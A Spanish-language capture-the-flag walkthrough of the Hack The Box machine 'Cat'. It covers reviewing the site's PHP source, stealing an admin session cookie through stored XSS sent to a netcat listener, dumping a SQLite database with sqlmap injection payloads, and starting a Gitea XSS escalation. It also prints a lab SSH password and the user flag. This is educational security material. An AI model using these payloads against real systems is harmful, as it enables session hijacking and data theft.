Cat expone un repositorio en el sitio web que tras analizarlo se descubrio una vulnerabilidad XSS y SQLi las cuales permitieron la lectura de la base de datos y posteriormente el acceso a un primer usuario. Se encontro la contrasena de un segundo usuario en los logs de Apache. Para la escalada de privilegios se exploto una vulnerabilidad en Gitea la cual permitio la lectura de un repositorio donde se descubrio la contrasena para root.
nmap muestra multiples puertos abiertos: http (80) y ssh (22).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Nmap 7.95 scan initiated Thu Feb 20 00:06:44 2025 as: /usr/lib/nmap/nmap --privileged -p22,80 -sV -sC -oN nmap_scan 10.10.11.53Nmap scan report for 10.10.11.53
Host is up (0.066s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:
|3072 96:2d:f5:c6:f6:9f:59:60:e5:65:85:ab:49:e4:76:14 (RSA)|256 9e:c4:a4:40:e9:da:cc:62:d1:d6:5a:2f:9e:7b:d4:aa (ECDSA)|_ 256 6e:22:2a:6a:6d:eb:de:19:b7:16:97:c2:7e:89:29:d5 (ED25519)80/tcp open http Apache httpd 2.4.41 ((Ubuntu))|_http-server-header: Apache/2.4.41 (Ubuntu)|_http-title: Did not follow redirect to http://cat.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Feb 20 00:06:54 2025 -- 1 IP address (1 host up) scanned in 9.43 seconds
Web Site
El sitio web nos redirige al dominio cat.htb el cual agregamos al archivo /etc/hosts.
<?phpsession_start();include'config.php';// Check if the user is logged in
if(!isset($_SESSION['username'])||$_SESSION['username']!=='axel'){header("Location: /join.php");exit();}// Fetch cat data from the database
$stmt=$pdo->prepare("SELECT * FROM cats");$stmt->execute();$cats=$stmt->fetchAll(PDO::FETCH_ASSOC);?><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>My Cats - Best Cat Community</title>
<link rel="stylesheet" href="css/styles.css">
</head>
<body>
<div class="navbar">
<a href="/">Home</a>
<a href="/vote.php">Vote</a>
<a href="/contest.php">Contest</a>
<?php
if (isset($_SESSION['username'])) {
// If user is logged in
if ($_SESSION['username'] == 'axel') {
// If the logged in user is admin
echo '<a href="/winners.php">Winners</a>';
echo '<a href="/admin.php">Admin</a>';
}
echo '<a href="/logout.php">Logout</a>';
} else {
// If no user is logged in
echo '<a href="/join.php">Join</a>';
}
?>
</div>
<div class="container">
<h1>My Cats</h1>
<?php foreach ($cats as $cat): ?>
<div class="cat-card">
<img src="<?php echo htmlspecialchars($cat['photo_path']); ?>" alt="<?php echo htmlspecialchars($cat['cat_name']); ?>" class="cat-photo">
<div class="cat-info">
<strong>Name:</strong> <?php echo htmlspecialchars($cat['cat_name']); ?><br>
</div>
<button class="view-button" onclick="window.location.href='/view_cat.php?cat_id=<?php echo htmlspecialchars($cat['cat_id']); ?>'">View</button>
<button class="accept-button" onclick="acceptCat('<?php echo htmlspecialchars($cat['cat_name']); ?>', <?php echo htmlspecialchars($cat['cat_id']); ?>)">Accept</button>
<button class="reject-button" onclick="rejectCat(<?php echo htmlspecialchars($cat['cat_id']); ?>)">Reject</button>
</div>
<?php endforeach; ?>
</div>
<script>
function acceptCat(catName, catId) {
if (confirm("Are you sure you want to accept this cat?")) {
var xhr = new XMLHttpRequest();
xhr.open("POST", "accept_cat.php", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
window.location.reload();
}
};
xhr.send("catName=" + encodeURIComponent(catName) + "&catId=" + catId);
}
}
function rejectCat(catId) {
if (confirm("Are you sure you want to reject this cat?")) {
var xhr = new XMLHttpRequest();
xhr.open("POST", "delete_cat.php", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
window.location.reload();
}
};
xhr.send("catId=" + catId);
}
}
</script>
</body>
</html>
En contest.php, es posible registrar un “concursante” que luego es “revisado”, probablemente por axel, ademas la mayoria de los valores pasan por un filtro, y solo acepta imagenes.
//contest.php
<?phpsession_start();include'config.php';// Message variables
$success_message="";$error_message="";// Check if the user is logged in
if(!isset($_SESSION['username'])){header("Location: /join.php");exit();}// Function to check for forbidden content
functioncontains_forbidden_content($input,$pattern){returnpreg_match($pattern,$input);}// Check if the form has been submitted
if($_SERVER["REQUEST_METHOD"]=="POST"){// Capture form data
$cat_name=$_POST['cat_name'];$age=$_POST['age'];$birthdate=$_POST['birthdate'];$weight=$_POST['weight'];$forbidden_patterns="/[+*{}',;<>()\\[\\]\\/\\:]/";// Check for forbidden content
if(contains_forbidden_content($cat_name,$forbidden_patterns)||contains_forbidden_content($age,$forbidden_patterns)||contains_forbidden_content($birthdate,$forbidden_patterns)||contains_forbidden_content($weight,$forbidden_patterns)){$error_message="Your entry contains invalid characters.";}else{// Generate unique identifier for the image
$imageIdentifier=uniqid()."_";// Upload cat photo
// uploads/_
$target_dir="uploads/";$target_file=$target_dir.$imageIdentifier.basename($_FILES["cat_photo"]["name"]);$uploadOk=1;$imageFileType=strtolower(pathinfo($target_file,PATHINFO_EXTENSION));// Check if the file is an actual image or a fake file
$check=getimagesize($_FILES["cat_photo"]["tmp_name"]);if($check!==false){$uploadOk=1;}else{$error_message="Error: The file is not an image.";$uploadOk=0;}// Check if the file already exists
if(file_exists($target_file)){$error_message="Error: The file already exists.";$uploadOk=0;}// Check file size
if($_FILES["cat_photo"]["size"]>500000){$error_message="Error: The file is too large.";$uploadOk=0;}// Allow only certain file formats
if($imageFileType!="jpg"&&$imageFileType!="png"&&$imageFileType!="jpeg"){$error_message="Error: Only JPG, JPEG, and PNG files are allowed.";$uploadOk=0;}// Check if $uploadOk is set to 0 by an error
if($uploadOk==0){}else{if(move_uploaded_file($_FILES["cat_photo"]["tmp_name"],$target_file)){// Prepare SQL query to insert cat data
$stmt=$pdo->prepare("INSERT INTO cats (cat_name, age, birthdate, weight, photo_path, owner_username) VALUES (:cat_name, :age, :birthdate, :weight, :photo_path, :owner_username)");// Bind parameters
$stmt->bindParam(':cat_name',$cat_name,PDO::PARAM_STR);$stmt->bindParam(':age',$age,PDO::PARAM_INT);$stmt->bindParam(':birthdate',$birthdate,PDO::PARAM_STR);$stmt->bindParam(':weight',$weight,PDO::PARAM_STR);$stmt->bindParam(':photo_path',$target_file,PDO::PARAM_STR);$stmt->bindParam(':owner_username',$_SESSION['username'],PDO::PARAM_STR);// Execute query
if($stmt->execute()){$success_message="Cat has been successfully sent for inspection.";}else{$error_message="Error: There was a problem registering the cat.";}}else{$error_message="Error: There was a problem uploading the file.";}}}}?><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Contest - Best Cat Community</title>
<link rel="stylesheet" href="css/styles.css">
</head>
<body>
<div class="navbar">
<a href="/">Home</a>
<a href="/vote.php">Vote</a>
<a href="/contest.php">Contest</a>
<a href="/winners.php">Winners</a>
<?php
if (isset($_SESSION['username'])) {
// If the user is logged in
if ($_SESSION['username'] == 'axel') {
// If the logged in user is admin
echo '<a href="/admin.php">Admin</a>';
}
echo '<a href="/logout.php">Logout</a>';
} else {
// If no user is logged in
echo '<a href="/join.php">Join</a>';
}
?>
</div>
<div class="container">
<h1>Contest - Best Cat Community</h1>
<?php if ($success_message): ?>
<div class="message"><?php echo $success_message; ?></div>
<?php endif; ?>
<?php if ($error_message): ?>
<div class="error-message"><?php echo $error_message; ?></div>
<?php endif; ?>
<form method="post" enctype="multipart/form-data">
<label for="cat_name">Cat Name:</label>
<input type="text" id="cat_name" name="cat_name" required>
<label for="age">Cat Age:</label>
<input type="number" id="age" name="age" required>
<label for="birthdate">Cat Birthdate:</label>
<input type="date" id="birthdate" name="birthdate" required>
<label for="weight">Cat Weight (in kg):</label>
<input type="number" id="weight" name="weight" step="0.01" required>
<label for="cat_photo">Cat Photo:</label>
<input type="file" id="cat_photo" name="cat_photo" accept="image/*" required>
<input type="submit" value="Register Cat">
</form>
</div>
</body>
</html>
accept_cat.php permite manipular el query sql por medio de catName, por lo que podria tratarse de una vulnrabilidad SQLi.
//accept_cat.php
<?phpinclude'config.php';session_start();if(isset($_SESSION['username'])&&$_SESSION['username']==='axel'){if($_SERVER["REQUEST_METHOD"]=="POST"){if(isset($_POST['catId'])&&isset($_POST['catName'])){$cat_name=$_POST['catName'];$catId=$_POST['catId'];$sql_insert="INSERT INTO accepted_cats (name) VALUES ('$cat_name')";$pdo->exec($sql_insert);$stmt_delete=$pdo->prepare("DELETE FROM cats WHERE cat_id = :cat_id");$stmt_delete->bindParam(':cat_id',$catId,PDO::PARAM_INT);$stmt_delete->execute();echo"The cat has been accepted and added successfully.";}else{echo"Error: Cat ID or Cat Name not provided.";}}else{header("Location: /");exit();}}else{echo"Access denied.";}?>
join.php a diferencia de contest.php no tiene ningun tipo de filtro para el registro o login de usuarios, por lo que podriamos registrar con diferentes caracteres.
<?php
session_start();include 'config.php';// Check if the user is logged in
if(!isset($_SESSION['username'])||$_SESSION['username'] !=='axel'){ header("Location: /join.php"); exit();}// Get the cat_id from the URL
$cat_id= isset($_GET['cat_id']) ? $_GET['cat_id'] : null;if($cat_id){ // Prepare and execute the query
$query="SELECT cats.*, users.username FROM cats JOIN users ON cats.owner_username = users.username WHERE cat_id = :cat_id";$statement=$pdo->prepare($query);$statement->bindParam(':cat_id', $cat_id, PDO::PARAM_INT);$statement->execute(); // Fetch cat data from the database
$cat=$statement->fetch(PDO::FETCH_ASSOC);if(!$cat){ die("Cat not found.");}}else{ die("Invalid cat ID.");}?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport"content="width=device-width, initial-scale=1.0">
<title><?php echo htmlspecialchars($cat['cat_name']); ?> - Cat Details</title>
<link rel="stylesheet"href="css/styles.css">
</head>
<body>
<div class="navbar">
<a href="/">Home</a>
<a href="/vote.php">Vote</a>
<a href="/contest.php">Contest</a>
<?php
if(isset($_SESSION['username'])){ // If user is logged in
if($_SESSION['username']=='axel'){ // If the logged in user is admin
echo'<a href="/admin.php">Admin</a>';}echo'<a href="/logout.php">Logout</a>';}else{ // If no user is logged in
echo'<a href="/join.php">Join</a>';} ?>
</div>
<div class="container">
<h1>Cat Details: <?php echo$cat['cat_name']; ?></h1>
<img src="<?php echo $cat['photo_path']; ?>"alt="<?php echo $cat['cat_name']; ?>"class="cat-photo">
<div class="cat-info">
<strong>Name:</strong> <?php echo$cat['cat_name']; ?><br>
<strong>Age:</strong> <?php echo$cat['age']; ?><br>
<strong>Birthdate:</strong> <?php echo$cat['birthdate']; ?><br>
<strong>Weight:</strong> <?php echo$cat['weight']; ?> kg<br>
<strong>Owner:</strong> <?php echo$cat['username']; ?><br>
<strong>Created At:</strong> <?php echo$cat['created_at']; ?>
</div>
</div>
</body>
</html>
Con lo anterior, probablemente debemos de acceder como axel al sitio para luego intentar explotar la vulnerabilidad SLQi en accept_cat.php.
Axel via XSS
Como sabemos el concursante al ser revisado muestra la informacion del usuario, por lo que podriamos obtener la cookie de axel a traves del registro de un usuario con un payload en javascript, luego, registrar un concursante y esperar que sea revisado.
Registramos un nuevo usuario con el payload para obtener la cookie.
Tras acceder con el usuario registrado, podemos rellenar el formulario para un nuevo concursante.
Tras ello se muestra el mensaje para su revision.
Colocamos netcat a la escucha por el puerto 80 y observamos que se nos envio la cookie de axel.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ sudo nc -lvvp 80listening on [any]80 ...
connect to [10.10.15.106] from cat.htb [10.10.11.53]49382POST / HTTP/1.1
Host: 10.10.15.106
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://cat.htb/
Content-Type: text/plain;charset=UTF-8
Content-Length: 36Origin: http://cat.htb
Connection: keep-alive
Priority: u=4PHPSESSID=sipukack6q0rgjvc4olnjsi63l sent 0, rcvd 394❯
SQL Injection
En /admin.php podemos ver todos los concursantes, como sabemos existe una posible vulnerabilidad en accept_cat.php, con un concursante ya registrado, aceptamos y guardamos la solicitud realizada.
Ejecutamos sqlmap con el archivo de solicitud especificando el parametro catName e intentando enumerar las tablas de la base de datos sqlite. Observamos que existen cuatro tablas.
❯ sqlmap -r accept_req --dbms sqlite --risk 3 --level 5 --batch --tables -p catName
___
__H__
___ ___[(]_____ ___ ___ {1.9#stable}|_ -| . [(]| .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 05:30:08 /2025-02-20/
[05:30:08][INFO] parsing HTTP request from 'accept_req'it appears that provided value for POST parameter 'catName' has boundaries. Do you want to inject inside? ('"hello*"')[y/N] N
[05:30:09][INFO] testing connection to the target URL
[05:30:09][INFO] checking if the target is protected by some kind of WAF/IPS
[05:30:09][INFO] testing if the target URL content is stable
[05:30:09][INFO] target URL content is stable
[05:30:09][WARNING] heuristic (basic)test shows that POST parameter 'catName' might not be injectable
[05:30:09][INFO] testing for SQL injection on POST parameter 'catName'[05:30:09][INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'[05:30:16][INFO] POST parameter 'catName' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --code=200)[05:30:16][INFO] testing 'Generic inline queries'[05:30:16][INFO] testing 'SQLite inline queries'[05:30:16][INFO] testing 'SQLite > 2.0 stacked queries (heavy query - comment)'[05:30:16][INFO] testing 'SQLite > 2.0 stacked queries (heavy query)'[05:30:16][INFO] testing 'SQLite > 2.0 AND time-based blind (heavy query)'[05:30:23][INFO] POST parameter 'catName' appears to be 'SQLite > 2.0 AND time-based blind (heavy query)' injectable
[05:30:23][INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'[05:30:23][INFO] testing 'Generic UNION query (random number) - 1 to 20 columns'[05:30:23][INFO] testing 'Generic UNION query (NULL) - 21 to 40 columns'[05:30:23][INFO] testing 'Generic UNION query (random number) - 21 to 40 columns'[05:30:23][INFO] testing 'Generic UNION query (NULL) - 41 to 60 columns'[05:30:23][INFO] testing 'Generic UNION query (random number) - 41 to 60 columns'[05:30:23][INFO] testing 'Generic UNION query (NULL) - 61 to 80 columns'[05:30:23][INFO] testing 'Generic UNION query (random number) - 61 to 80 columns'[05:30:23][INFO] testing 'Generic UNION query (NULL) - 81 to 100 columns'[05:30:23][INFO] testing 'Generic UNION query (random number) - 81 to 100 columns'[05:30:23][INFO] checking if the injection point on POST parameter 'catName' is a false positive
POST parameter 'catName' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 102 HTTP(s) requests:
---
Parameter: catName (POST) Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: catName="hello"'||(SELECT CHAR(112,116,69,66) WHERE 9980=9980 AND 4900=4900)||'&catId=1 Type: time-based blind
Title: SQLite > 2.0 AND time-based blind (heavy query) Payload: catName="hello"'||(SELECT CHAR(89,100,80,75) WHERE 7381=7381 AND 1106=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))))||'&catId=1---
[05:30:25][INFO] the back-end DBMS is SQLite
web server operating system: Linux Ubuntu 19.10 or 20.10 or 20.04 (eoan or focal)web application technology: Apache 2.4.41
back-end DBMS: SQLite
[05:30:25][INFO] fetching tables for database: 'SQLite_masterdb'[05:30:25][INFO] fetching number of tables for database 'SQLite_masterdb'[05:30:25][WARNING] running in a single-thread mode. Please consider usage of option '--threads'for faster data retrieval
[05:30:25][INFO] retrieved: 4[05:30:26][INFO] retrieved: accepted_cats
[05:30:37][INFO] retrieved: sqlite_sequence
[05:30:46][INFO] retrieved: cats
[05:30:49][INFO] retrieved: users
<current>
[4 tables]+-----------------+
| accepted_cats || cats || sqlite_sequence || users |+-----------------+
[05:30:52][WARNING] HTTP error codes detected during run:
500(Internal Server Error) - 184times[05:30:52][INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/cat.htb'[*] ending @ 05:30:52 /2025-02-20/
❯
Ejecutamos nuevamente para realizar ‘dump’ a la tabla users, se listan diez usuarios.
┌──(kali㉿kali)-[~/htb/cat]└─$ ssh rosa@10.10.11.53 # soyunaprincesarosarosa@10.10.11.53's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-204-generic x86_64) * Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Thu 20 Feb 2025 10:42:01 AM UTC
System load: 0.37
Usage of /: 52.1% of 6.06GB
Memory usage: 17%
Swap usage: 0%
Processes: 238 Users logged in: 0 IPv4 address for eth0: 10.10.11.53
IPv6 address for eth0: dead:beef::250:56ff:feb0:2e78
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.
https://ubuntu.com/engage/secure-kubernetes-at-the-edge
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Thu Feb 20 10:42:32 2025 from 10.10.15.106
rosa@cat:~$ exportTERM=xterm
rosa@cat:~$ whoami;id;pwdrosa
uid=1001(rosa)gid=1001(rosa)groups=1001(rosa),4(adm)/home/rosa
rosa@cat:~$
User - Axel
rosa pertenece al grupo adm, si observamos los archivos a los que tiene acceso este grupo vemos access.log de apache.
Ejecutamos su para cambiar de usuario, logrando acceder como axel y la flag user.txt.
1
2
3
4
5
6
7
8
rosa@cat:~$ su axel
Password:
axel@cat:/home/rosa$ cdaxel@cat:~$ ls
user.txt
axel@cat:~$ cat user.txt
81a9c7a64af17e8fab191867d24ef274
axel@cat:~$
Privesc
Encontramos que axel tiene dos correos, el primero indica la existencia de Gitea tambien, se mencion el envio de la direccion de repositorio a jobert para revision, se especifica que se realiza una revision al repositorio entero.
El segundo indica la existencia del repositorio Employee-management, aunque el repositorio es privado.
axel@cat:~$ cat /var/mail/axel
From rosa@cat.htb Sat Sep 28 04:51:50 2024Return-Path: <rosa@cat.htb>
Received: from cat.htb (localhost [127.0.0.1]) by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S4pnXk001592
for <axel@cat.htb>; Sat, 28 Sep 2024 04:51:50 GMT
Received: (from rosa@localhost) by cat.htb (8.15.2/8.15.2/Submit) id 48S4pnlT001591
for axel@localhost; Sat, 28 Sep 2024 04:51:49 GMT
Date: Sat, 28 Sep 2024 04:51:49 GMT
From: rosa@cat.htb
Message-Id: <202409280451.48S4pnlT001591@cat.htb>
Subject: New cat services
Hi Axel,
We are planning to launch new cat-related web services, including a cat care website and other projects. Please send an email to jobert@localhost with information about your Gitea repository. Jobert will check if it is a promising service that we can develop.
Important note: Be sure to include a clear description of the idea so that I can understand it properly. I will review the whole repository.
From rosa@cat.htb Sat Sep 28 05:05:28 2024Return-Path: <rosa@cat.htb>
Received: from cat.htb (localhost [127.0.0.1]) by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S55SRY002268
for <axel@cat.htb>; Sat, 28 Sep 2024 05:05:28 GMT
Received: (from rosa@localhost) by cat.htb (8.15.2/8.15.2/Submit) id 48S55Sm0002267
for axel@localhost; Sat, 28 Sep 2024 05:05:28 GMT
Date: Sat, 28 Sep 2024 05:05:28 GMT
From: rosa@cat.htb
Message-Id: <202409280505.48S55Sm0002267@cat.htb>
Subject: Employee management
We are currently developing an employee management system. Each sector administrator will be assigned a specific role, while each employee will be able to consult their assigned tasks. The project is still under development and is hosted in our private Gitea. You can visit the repository at: http://localhost:3000/administrator/Employee-management/. In addition, you can consult the README file, highlighting updates and other important details, at: http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md.
axel@cat:~$
Gitea
Encontramos que el puerto 3000 esta abierto localmente.
La vulnerabilidad es Stored XSS en la descripcion de un repositorio, se muestra el payload.
1
<ahref=javascript:alert()>XSS test</a>
Creamos un nuevo repositorio para reproducir la explotacion, registrando el payload en la descripcion e inicializando el repositorio.
Tras el registro, observamos que en la descripcion se creo la etiqueta y al darle clic salta la alerta.
Admin Repository
Utilizando el payload del exploit agregamos codigo javascript para obtener el contenido de la pagina del repositorio Employee-management y enviarlo a un puerto a la escucha. Codificamos en Decimal el codigo javascript de nuestro payload y lo agregamos a un nuevo repositorio.